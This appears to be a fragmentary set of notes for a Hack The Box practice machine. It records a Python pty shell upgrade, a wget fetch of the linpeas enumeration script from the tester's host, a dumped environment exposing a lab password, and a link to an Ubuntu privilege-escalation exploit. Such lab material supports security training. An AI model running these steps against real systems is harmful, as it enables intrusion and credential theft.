Vim /etc/hosts

Analitycal.htb

Data. Analitycal.htb

Search metabse

Rport 80

Lhost

Rhost <http://data.analytical.htb/>

Python -c 'import pty; pty.spawn("/bin/sh")'

Linpc linux vulnerability

Winpc windows vulnerability

curl -L <https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh>

python httpserver

download in /home/metabse

wget 10.10.14.147:8004/linpeas.sh

PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

MB\_DB\_PASS=

MB\_JETTY\_HOST=0.0.0.0

META\_PASS=An4lytics\_ds20223#

LANG=en\_US.UTF-8

MB\_LDAP\_PASSWORD=

HISTSIZE=0

SHELL=/bin/sh

MB\_EMAIL\_SMTP\_USERNAME=

MB\_DB\_USER=

META\_USER=metalytics

LC\_ALL=en\_US.UTF-8

JAVA\_HOME=/opt/java/openjdk

PWD=/home/metabase

HISTFILE=/dev/null

MB\_DB\_FILE=//metabase.db/metabase.db

### [GameOver(lay) Ubuntu](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629)